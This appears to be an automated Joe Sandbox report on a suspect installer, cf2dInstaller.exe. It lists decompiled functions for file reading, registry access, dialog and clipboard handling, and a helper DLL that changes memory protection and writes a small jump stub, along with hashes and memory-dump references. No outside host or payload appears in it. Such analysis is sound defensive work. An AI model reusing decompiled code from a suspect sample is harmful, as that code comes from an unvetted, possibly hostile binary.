API String ID: 3524194181-0
Opcode ID: 2b3aaf82e62ee7d4e5168c6d1e1af63f891ff0fafd062fb2499785aa8003ce9e
Instruction ID: c9fe660b685728b79c9aacae71254d3ea9e33ed9a5c0c6d4e1c179d67493226b
Opcode Fuzzy Hash: 2b3aaf82e62ee7d4e5168c6d1e1af63f891ff0fafd062fb2499785aa8003ce9e
Instruction Fuzzy Hash: 4EE08672F042159BD7606BA59649A7F7378BB00395F104177E601F61D1E6B88C01E66E

Uniqueness

Uniqueness Score: -1.00%

Function 0040307D, Relevance: 1.5, APIs: 1, Instructions: 22
fileCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040307D(void* _a4, long _a8) {
				int _t6;
				long _t10;

				_t10 = _a8;
				_t6 = ReadFile( *0x409014, _a4, _t10,  &_a8, 0); // executed
				if(_t6 == 0 || _a8 != _t10) {
					return 0;
				} else {
					return 1;
				}
			}

0x00403081
0x00403094
0x0040309c
0x00000000
0x004030a3
0x00000000
0x004030a5

APIs

ReadFile.KERNEL32(00000000,00000000,00000000,00000000,000000FF,?,00402EAA,000000FF,00000004,00000000,00000000,00000000), ref: 00403094

Memory Dump Source

Source File: 00000003.00000002.503983388.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.503968315.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.504017774.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.504030164.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504054861.0000000000411000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504084706.000000000041F000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504117628.000000000042C000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504132874.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504147544.0000000000434000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504168801.000000000043C000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504187164.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504201398.0000000000444000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504236909.0000000000447000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504249272.000000000045A000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504272578.0000000000534000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.504288296.0000000000538000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_cf2dInstaller.jbxd

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: 728267699a9b44ddad9e6e694247195ab13049bac6004c2e56fc09e99b3f0f19
Instruction ID: 43e3c0ed55451ca58d66c179b0d5cd373ba627774d09ad719adf1b780fd88a5d
Opcode Fuzzy Hash: 728267699a9b44ddad9e6e694247195ab13049bac6004c2e56fc09e99b3f0f19
Instruction Fuzzy Hash: F0E08631101119BBCF105E61AC00A9B3F9CEB05362F00C032FA04E5190D538DA14DBA5

Uniqueness

Uniqueness Score: -1.00%

Function 00402B00, Relevance: 1.5, APIs: 1, Instructions: 22
registryCOMMON

Download Yara Rule

C-Code - Quality: 79%

			E00402B00(void* __eflags, void* _a4) {
				signed int _t6;
				char* _t8;
				intOrPtr _t9;
				signed int _t11;

				_t6 =  *0x42ec10; // 0x0
				_t8 = E004029F6(0x22);
				_t9 =  *0x409b78; // 0x19f8e0
				_t11 = RegOpenKeyExA(E00402AEB( *((intOrPtr*)(_t9 + 4))), _t8, 0, _t6 | _a4,  &_a4); // executed
				asm("sbb eax, eax");
				return  !( ~_t11) & _a4;
			}

0x00402b07
0x00402b14
0x00402b1a
0x00402b28
0x00402b30
0x00402b38

APIs

RegOpenKeyExA.KERNEL32(00000000,?,00000000,00000022,00000000,?,?), ref: 00402B28

Memory Dump Source

Source File: 00000003.00000002.503983388.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.503968315.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.504017774.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.504030164.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504054861.0000000000411000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504084706.000000000041F000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504117628.000000000042C000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504132874.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504147544.0000000000434000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504168801.000000000043C000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504187164.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504201398.0000000000444000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504236909.0000000000447000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504249272.000000000045A000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504272578.0000000000534000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.504288296.0000000000538000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_cf2dInstaller.jbxd

Similarity

API ID: Open
String ID:
API String ID: 71445658-0
Opcode ID: 332b4b28ccf70e09bb7c329d8b92fdd51d6a369451d7e4fe1d23c46d78dfb372
Instruction ID: 26822e9457f7499eaf47d686268157363fcd7c772d88ad4a089d565b944a1739
Opcode Fuzzy Hash: 332b4b28ccf70e09bb7c329d8b92fdd51d6a369451d7e4fe1d23c46d78dfb372
Instruction Fuzzy Hash: 4DE08CB6240108BFDB50EFA5ED4BFD677ECBB04340F008921B618EB091CA75E5809B68

Uniqueness

Uniqueness Score: -1.00%

Function 10002930, Relevance: 1.5, APIs: 1, Instructions: 20
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			_entry_(intOrPtr _a4, intOrPtr _a8) {

				 *0x10004038 = _a4;
				if(_a8 == 1) {
					VirtualProtect(0x1000404c, 4, 0x40, 0x1000403c); // executed
					 *0x1000404c = 0xc2;
					 *0x1000403c = 0;
					 *0x10004044 = 0;
					 *0x10004054 = 0;
					 *0x10004048 = 0;
					 *0x10004040 = 0;
					 *0x1000404e = 0;
				}
				return 1;
			}

0x10002939
0x1000293e
0x1000294e
0x10002956
0x1000295d
0x10002962
0x10002967
0x1000296c
0x10002971
0x10002976
0x10002976
0x1000297e

APIs

VirtualProtect.KERNEL32(1000404C,00000004,00000040,1000403C), ref: 1000294E

Memory Dump Source

Source File: 00000003.00000002.506890676.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000003.00000002.506882203.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.506902544.0000000010003000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.506915040.0000000010005000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10000000_cf2dInstaller.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 34d967791fa0c81937acb5e832d60935bd6fac481f559dacb71f15d92aed8369
Instruction ID: 48d6293a520ab1310b80528f385a012c899c9e0ceb66e9e696cbd892b99779f9
Opcode Fuzzy Hash: 34d967791fa0c81937acb5e832d60935bd6fac481f559dacb71f15d92aed8369
Instruction Fuzzy Hash: 1BE0AEF15092A0DEF360DF688CC47023EE4A3983C5B03842AE348F6269EB3841448B19

Uniqueness

Uniqueness Score: -1.00%

Function 00403DBE, Relevance: 1.5, APIs: 1, Instructions: 10
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00403DBE(intOrPtr _a12) {
				intOrPtr _v0;
				struct HWND__* _v4;
				int _t7;
				void* _t8;
				void* _t9;
				void* _t10;

				_t7 = SetDlgItemTextA(_v4, _v0 + 0x3e8, E00405A2E(_t8, _t9, _t10, 0, _a12)); // executed
				return _t7;
			}

0x00403dd8
0x00403ddd

APIs

SetDlgItemTextA.USER32 ref: 00403DD8

Memory Dump Source

Source File: 00000003.00000002.503983388.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.503968315.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.504017774.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.504030164.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504054861.0000000000411000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504084706.000000000041F000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504117628.000000000042C000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504132874.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504147544.0000000000434000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504168801.000000000043C000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504187164.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504201398.0000000000444000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504236909.0000000000447000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504249272.000000000045A000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504272578.0000000000534000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.504288296.0000000000538000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_cf2dInstaller.jbxd

Similarity

API ID: ItemText
String ID:
API String ID: 3367045223-0
Opcode ID: e65bc35160ed5513600404499191e6285347109cacf77d99fb514981775c36ca
Instruction ID: 1da1af2c7098a7a5c47cb9e65cfb44b89bee0289569f32b065f15b06c39939a7
Opcode Fuzzy Hash: e65bc35160ed5513600404499191e6285347109cacf77d99fb514981775c36ca
Instruction Fuzzy Hash: 79C04C79248604BFD641A759DC42F1FB79DEF94315F00C52EB19CE11D1C63984209E26

Uniqueness

Uniqueness Score: -1.00%

Function 004030AF, Relevance: 1.5, APIs: 1, Instructions: 6
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E004030AF(long _a4) {
				long _t2;

				_t2 = SetFilePointer( *0x409014, _a4, 0, 0); // executed
				return _t2;
			}

0x004030bd
0x004030c3

APIs

SetFilePointer.KERNEL32(00000000,00000000,00000000,00402DE9,0000CFE4), ref: 004030BD

Memory Dump Source

Source File: 00000003.00000002.503983388.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.503968315.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.504017774.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.504030164.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504054861.0000000000411000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504084706.000000000041F000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504117628.000000000042C000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504132874.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504147544.0000000000434000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504168801.000000000043C000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504187164.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504201398.0000000000444000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504236909.0000000000447000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504249272.000000000045A000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504272578.0000000000534000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.504288296.0000000000538000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_cf2dInstaller.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: 2028dafccfaa88a297be93e7ba1f52e009ec02dcd94d5fd44c1761bf2bffe23e
Instruction ID: eafd0aff1283cdec3023edec91852d87283cefa69c9b21bce59c6677f93a42a7
Opcode Fuzzy Hash: 2028dafccfaa88a297be93e7ba1f52e009ec02dcd94d5fd44c1761bf2bffe23e
Instruction Fuzzy Hash: 14B01271644200BFDB214F00DF06F057B21A790701F108030B344380F082712420EB1E

Uniqueness

Uniqueness Score: -1.00%

Function 1000276E, Relevance: 1.3, APIs: 1, Instructions: 27
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E1000276E(intOrPtr _a4) {
				void* _t10;
				intOrPtr* _t11;
				char* _t12;
				intOrPtr _t17;

				_t17 = _a4;
				if( *(_t17 + 0x80c) == 0) {
					 *0x10004040 =  *0x10004040 + 1;
					 *(_t17 + 0x810) =  *(_t17 + 0x810) | 0x00000002;
					 *((intOrPtr*)(_t17 + 0x1498)) =  *0x10004040;
					_t10 = VirtualAlloc(0, 0xa, 0x1000, 0x40); // executed
					 *(_t17 + 0x80c) = _t10;
					 *_t10 = 0xb8;
					_t11 = _t10 + 1;
					 *_t11 = _t17;
					_t12 = _t11 + 4;
					 *_t12 = 0xe9;
					 *((intOrPtr*)(_t12 + 1)) = E100013E7 - _t12 + 1 - 4;
				}
				return  *(_t17 + 0x80c);
			}

0x1000276f
0x1000277a
0x1000277c
0x10002787
0x10002799
0x1000279f
0x100027a5
0x100027ab
0x100027ae
0x100027b4
0x100027b6
0x100027b9
0x100027c2
0x100027c2
0x100027cb

APIs

VirtualAlloc.KERNEL32(00000000,0000000A,00001000,00000040,00000818,1000250F,00000000,?), ref: 1000279F

Memory Dump Source

Source File: 00000003.00000002.506890676.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000003.00000002.506882203.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.506902544.0000000010003000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.506915040.0000000010005000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10000000_cf2dInstaller.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 4edbb2ff5e96d217f3c7b684b17d6341ff278a66219c98d076a356db6e6a7370
Instruction ID: 5227dd4987abd28fc254408892324859dd7d485a975e0dd66ffa2f98c3a7ea98
Opcode Fuzzy Hash: 4edbb2ff5e96d217f3c7b684b17d6341ff278a66219c98d076a356db6e6a7370
Instruction Fuzzy Hash: 31F05EB05007918FE7118F38D8557827BE0FB46354F028658E2EBAB2E4C7746845CB94

Uniqueness

Uniqueness Score: -1.00%

Function 0040552A, Relevance: 1.3, APIs: 1, Instructions: 10
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040552A(CHAR* _a4, intOrPtr _a8) {
				CHAR* _t3;
				char _t4;

				_t3 = _a4;
				while(1) {
					_t4 =  *_t3;
					if(_t4 == 0) {
						break;
					}
					if(_t4 != _a8) {
						_t3 = CharNextA(_t3); // executed
						continue;
					}
					break;
				}
				return _t3;
			}

0x0040552a
0x0040553d
0x0040553d
0x00405541
0x00000000
0x00000000
0x00405534
0x00405537
0x00000000
0x00405537
0x00000000
0x00405534
0x00405543

APIs

CharNextA.USER32(?,004031A5,"C:\Users\user\AppData\Local\temp\cf2dInstaller.exe" /KEYWORD=cf2d "/PATHFILES=C:\Users\user\AppData\Local\temp\",00000020), ref: 00405537

Memory Dump Source

Source File: 00000003.00000002.503983388.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.503968315.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.504017774.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.504030164.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504054861.0000000000411000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504084706.000000000041F000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504117628.000000000042C000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504132874.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504147544.0000000000434000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504168801.000000000043C000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504187164.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504201398.0000000000444000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504236909.0000000000447000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504249272.000000000045A000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504272578.0000000000534000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.504288296.0000000000538000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_cf2dInstaller.jbxd

Similarity

API ID: CharNext
String ID:
API String ID: 3213498283-0
Opcode ID: 10cd4d19b72e12b0d646a530e1cb92258a05f85d45f981c2b986421ba67828a8
Instruction ID: 0f5e8f9c138dbb7fffa8c0a0b6e027db07d0556037e4082c66113ebc521312aa
Opcode Fuzzy Hash: 10cd4d19b72e12b0d646a530e1cb92258a05f85d45f981c2b986421ba67828a8
Instruction Fuzzy Hash: C2C0806440D68077C7104710AC344777FF1AA51740FD48857F4C863164D13469408F36

Uniqueness

Uniqueness Score: -1.00%

Function 10001541, Relevance: 1.3, APIs: 1, Instructions: 4
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E10001541() {
				void* _t1;

				_t1 = GlobalAlloc(0x40,  *0x10004058); // executed
				return _t1;
			}

0x10001549
0x1000154f

APIs

GlobalAlloc.KERNEL32(00000040,10001577,?,?,10001804,?,10001017), ref: 10001549

Memory Dump Source

Source File: 00000003.00000002.506890676.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000003.00000002.506882203.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.506902544.0000000010003000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.506915040.0000000010005000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10000000_cf2dInstaller.jbxd

Similarity

API ID: AllocGlobal
String ID:
API String ID: 3761449716-0
Opcode ID: 7b5eed81e2901482d8b61a1c6600ff8eb3952a21cb33a114867dcac47047f9af
Instruction ID: 305db27d9feb3ad942446de8fc5e9d5ce911d10906235a569225c64140842302
Opcode Fuzzy Hash: 7b5eed81e2901482d8b61a1c6600ff8eb3952a21cb33a114867dcac47047f9af
Instruction Fuzzy Hash: 86A002B25415609BFE466BD08D9EF463F25F744781F128040E719650B8CA750064DF19

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00404EE8, Relevance: 65.0, APIs: 36, Strings: 1, Instructions: 278
windowclipboardmemoryCOMMON

Download Yara Rule

C-Code - Quality: 96%

			E00404EE8(struct HWND__* _a4, long _a8, long _a12, unsigned int _a16) {
				struct HWND__* _v8;
				long _v12;
				struct tagRECT _v28;
				void* _v36;
				signed int _v40;
				int _v44;
				int _v48;
				signed int _v52;
				int _v56;
				void* _v60;
				void* _v68;
				void* __ebx;
				void* __edi;
				void* __esi;
				long _t87;
				unsigned int _t92;
				unsigned int _t93;
				int _t94;
				int _t95;
				long _t98;
				void* _t101;
				intOrPtr _t123;
				struct HWND__* _t127;
				int _t149;
				int _t150;
				struct HWND__* _t154;
				struct HWND__* _t158;
				struct HMENU__* _t160;
				long _t162;
				void* _t163;
				short* _t164;

				_t154 =  *0x42e344; // 0x0
				_t149 = 0;
				_v8 = _t154;
				if(_a8 != 0x110) {
					__eflags = _a8 - 0x405;
					if(_a8 == 0x405) {
						CloseHandle(CreateThread(0, 0, E00404E7C, GetDlgItem(_a4, 0x3ec), 0,  &_v12));
					}
					__eflags = _a8 - 0x111;
					if(_a8 != 0x111) {
						L17:
						__eflags = _a8 - 0x404;
						if(_a8 != 0x404) {
							L25:
							__eflags = _a8 - 0x7b;
							if(_a8 != 0x7b) {
								goto L20;
							}
							__eflags = _a12 - _t154;
							if(_a12 != _t154) {
								goto L20;
							}
							_t87 = SendMessageA(_t154, 0x1004, _t149, _t149);
							__eflags = _t87 - _t149;
							_a8 = _t87;
							if(_t87 <= _t149) {
								L37:
								return 0;
							}
							_t160 = CreatePopupMenu();
							AppendMenuA(_t160, _t149, 1, E00405A2E(_t149, _t154, _t160, _t149, 0xffffffe1));
							_t92 = _a16;
							__eflags = _t92 - 0xffffffff;
							if(_t92 != 0xffffffff) {
								_t150 = _t92;
								_t93 = _t92 >> 0x10;
								__eflags = _t93;
								_t94 = _t93;
							} else {
								GetWindowRect(_t154,  &_v28);
								_t150 = _v28.left;
								_t94 = _v28.top;
							}
							_t95 = TrackPopupMenu(_t160, 0x180, _t150, _t94, _t149, _a4, _t149);
							_t162 = 1;
							__eflags = _t95 - 1;
							if(_t95 == 1) {
								_v60 = _t149;
								_v48 = 0x429fe0;
								_v44 = 0xfff;
								_a4 = _a8;
								do {
									_a4 = _a4 - 1;
									_t98 = SendMessageA(_v8, 0x102d, _a4,  &_v68);
									__eflags = _a4 - _t149;
									_t162 = _t162 + _t98 + 2;
								} while (_a4 != _t149);
								OpenClipboard(_t149);
								EmptyClipboard();
								_t101 = GlobalAlloc(0x42, _t162);
								_a4 = _t101;
								_t163 = GlobalLock(_t101);
								do {
									_v48 = _t163;
									_t164 = _t163 + SendMessageA(_v8, 0x102d, _t149,  &_v68);
									 *_t164 = 0xa0d;
									_t163 = _t164 + 2;
									_t149 = _t149 + 1;
									__eflags = _t149 - _a8;
								} while (_t149 < _a8);
								GlobalUnlock(_a4);
								SetClipboardData(1, _a4);
								CloseClipboard();
							}
							goto L37;
						}
						__eflags =  *0x42e32c - _t149; // 0x0
						if(__eflags == 0) {
							ShowWindow( *0x42eb68, 8);
							__eflags =  *0x42ebec - _t149; // 0x0
							if(__eflags == 0) {
								E00404DAA( *((intOrPtr*)( *0x4297b0 + 0x34)), _t149);
							}
							E00403D97(1);
							goto L25;
						}
						 *0x4293a8 = 2;
						E00403D97(0x78);
						goto L20;
					} else {
						__eflags = _a12 - 0x403;
						if(_a12 != 0x403) {
							L20:
							return E00403E25(_a8, _a12, _a16);
						}
						ShowWindow( *0x42e330, _t149);
						ShowWindow(_t154, 8);
						E00403DF3(_t154);
						goto L17;
					}
				}
				_v52 = _v52 | 0xffffffff;
				_v40 = _v40 | 0xffffffff;
				_v60 = 2;
				_v56 = 0;
				_v48 = 0;
				_v44 = 0;
				asm("stosd");
				asm("stosd");
				_t123 =  *0x42eb70; // 0x24c6020
				_a8 =  *((intOrPtr*)(_t123 + 0x5c));
				_a12 =  *((intOrPtr*)(_t123 + 0x60));
				 *0x42e330 = GetDlgItem(_a4, 0x403);
				 *0x42e328 = GetDlgItem(_a4, 0x3ee);
				_t127 = GetDlgItem(_a4, 0x3f8);
				 *0x42e344 = _t127;
				_v8 = _t127;
				E00403DF3( *0x42e330);
				 *0x42e334 = E0040464C(4);
				 *0x42e34c = 0;
				GetClientRect(_v8,  &_v28);
				_v52 = _v28.right - GetSystemMetrics(0x15);
				SendMessageA(_v8, 0x101b, 0,  &_v60);
				SendMessageA(_v8, 0x1036, 0x4000, 0x4000);
				if(_a8 >= 0) {
					SendMessageA(_v8, 0x1001, 0, _a8);
					SendMessageA(_v8, 0x1026, 0, _a8);
				}
				if(_a12 >= _t149) {
					SendMessageA(_v8, 0x1024, _t149, _a12);
				}
				_push( *((intOrPtr*)(_a16 + 0x30)));
				_push(0x1b);
				E00403DBE(_a4);
				if(( *0x42eb78 & 0x00000003) != 0) {
					ShowWindow( *0x42e330, _t149);
					if(( *0x42eb78 & 0x00000002) != 0) {
						 *0x42e330 = _t149;
					} else {
						ShowWindow(_v8, 8);
					}
					E00403DF3( *0x42e328);
				}
				_t158 = GetDlgItem(_a4, 0x3ec);
				SendMessageA(_t158, 0x401, _t149, 0x75300000);
				if(( *0x42eb78 & 0x00000004) != 0) {
					SendMessageA(_t158, 0x409, _t149, _a12);
					SendMessageA(_t158, 0x2001, _t149, _a8);
				}
				goto L37;
			}

0x00404ef1
0x00404ef7
0x00404f00
0x00404f03
0x00405094
0x0040509b
0x004050bf
0x004050bf
0x004050c5
0x004050d2
0x004050f0
0x004050f0
0x004050f7
0x0040514e
0x0040514e
0x00405152
0x00000000
0x00000000
0x00405154
0x00405157
0x00000000
0x00000000
0x00405161
0x00405167
0x00405169
0x0040516c
0x00405265
0x00000000
0x00405265
0x0040517b
0x00405187
0x0040518d
0x00405190
0x00405193
0x004051a8
0x004051ab
0x004051ab
0x004051ae
0x00405195
0x0040519a
0x004051a0
0x004051a3
0x004051a3
0x004051be
0x004051c6
0x004051c7
0x004051c9
0x004051d2
0x004051d5
0x004051dc
0x004051e3
0x004051eb
0x004051eb
0x004051f9
0x004051ff
0x00405202
0x00405202
0x00405209
0x0040520f
0x00405218
0x0040521f
0x00405228
0x0040522a
0x0040522d
0x0040523c
0x0040523e
0x00405244
0x00405245
0x00405246
0x00405246
0x0040524e
0x00405259
0x0040525f
0x0040525f
0x00000000
0x004051c9
0x004050f9
0x004050ff
0x0040512f
0x00405131
0x00405137
0x00405142
0x00405142
0x00405149
0x00000000
0x00405149
0x00405103
0x0040510d
0x00000000
0x004050d4
0x004050d4
0x004050da
0x00405112
0x00000000
0x0040511b
0x004050e3
0x004050e8
0x004050eb
0x00000000
0x004050eb
0x004050d2
0x00404f09
0x00404f0d
0x00404f16
0x00404f1d
0x00404f20
0x00404f23
0x00404f26
0x00404f27
0x00404f28
0x00404f41
0x00404f44
0x00404f4e
0x00404f5d
0x00404f65
0x00404f6d
0x00404f72
0x00404f75
0x00404f81
0x00404f8a
0x00404f93
0x00404fb6
0x00404fbc
0x00404fcd
0x00404fd2
0x00404fe0
0x00404fee
0x00404fee
0x00404ff3
0x00405001
0x00405001
0x00405006
0x00405009
0x0040500e
0x0040501a
0x00405023
0x00405030
0x0040503f
0x00405032
0x00405037
0x00405037
0x0040504b
0x0040504b
0x0040505f
0x00405068
0x00405071
0x00405081
0x0040508d
0x0040508d
0x00000000

APIs

GetDlgItem.USER32 ref: 00404F47
GetDlgItem.USER32 ref: 00404F56
GetClientRect.USER32 ref: 00404F93
GetSystemMetrics.USER32 ref: 00404F9B
SendMessageA.USER32(?,0000101B,00000000,00000002), ref: 00404FBC
SendMessageA.USER32(?,00001036,00004000,00004000), ref: 00404FCD
SendMessageA.USER32(?,00001001,00000000,00000110), ref: 00404FE0
SendMessageA.USER32(?,00001026,00000000,00000110), ref: 00404FEE
SendMessageA.USER32(?,00001024,00000000,?), ref: 00405001
ShowWindow.USER32(00000000,?,0000001B,000000FF), ref: 00405023
ShowWindow.USER32(?,00000008), ref: 00405037
GetDlgItem.USER32 ref: 00405058
SendMessageA.USER32(00000000,00000401,00000000,75300000), ref: 00405068
SendMessageA.USER32(00000000,00000409,00000000,?), ref: 00405081
SendMessageA.USER32(00000000,00002001,00000000,00000110), ref: 0040508D
GetDlgItem.USER32 ref: 00404F65

Part of subcall function 00403DF3: SendMessageA.USER32(00000028,?,00000001,00403C24), ref: 00403E01

GetDlgItem.USER32 ref: 004050AA
CreateThread.KERNEL32 ref: 004050B8
CloseHandle.KERNEL32(00000000), ref: 004050BF
ShowWindow.USER32(00000000), ref: 004050E3
ShowWindow.USER32(00000000,00000008), ref: 004050E8
ShowWindow.USER32(00000008), ref: 0040512F
SendMessageA.USER32(00000000,00001004,00000000,00000000), ref: 00405161
CreatePopupMenu.USER32 ref: 00405172
AppendMenuA.USER32(00000000,00000000,00000001,00000000), ref: 00405187
GetWindowRect.USER32(00000000,?), ref: 0040519A
TrackPopupMenu.USER32 ref: 004051BE
SendMessageA.USER32(?,0000102D,00000000,?), ref: 004051F9
OpenClipboard.USER32 ref: 00405209
EmptyClipboard.USER32(?,?,00000000,?,00000000), ref: 0040520F
GlobalAlloc.KERNEL32(00000042,?,?,?,00000000,?,00000000), ref: 00405218
GlobalLock.KERNEL32 ref: 00405222
SendMessageA.USER32(?,0000102D,00000000,?), ref: 00405236
GlobalUnlock.KERNEL32(00000000,?,?,00000000,?,00000000), ref: 0040524E
SetClipboardData.USER32 ref: 00405259
CloseClipboard.USER32(?,?,00000000,?,00000000), ref: 0040525F

Strings

{, xrefs: 0040514E

Memory Dump Source

Source File: 00000003.00000002.503983388.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.503968315.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.504017774.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.504030164.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504054861.0000000000411000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504084706.000000000041F000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504117628.000000000042C000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504132874.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504147544.0000000000434000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504168801.000000000043C000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504187164.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504201398.0000000000444000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504236909.0000000000447000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504249272.000000000045A000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504272578.0000000000534000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.504288296.0000000000538000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_cf2dInstaller.jbxd

Similarity

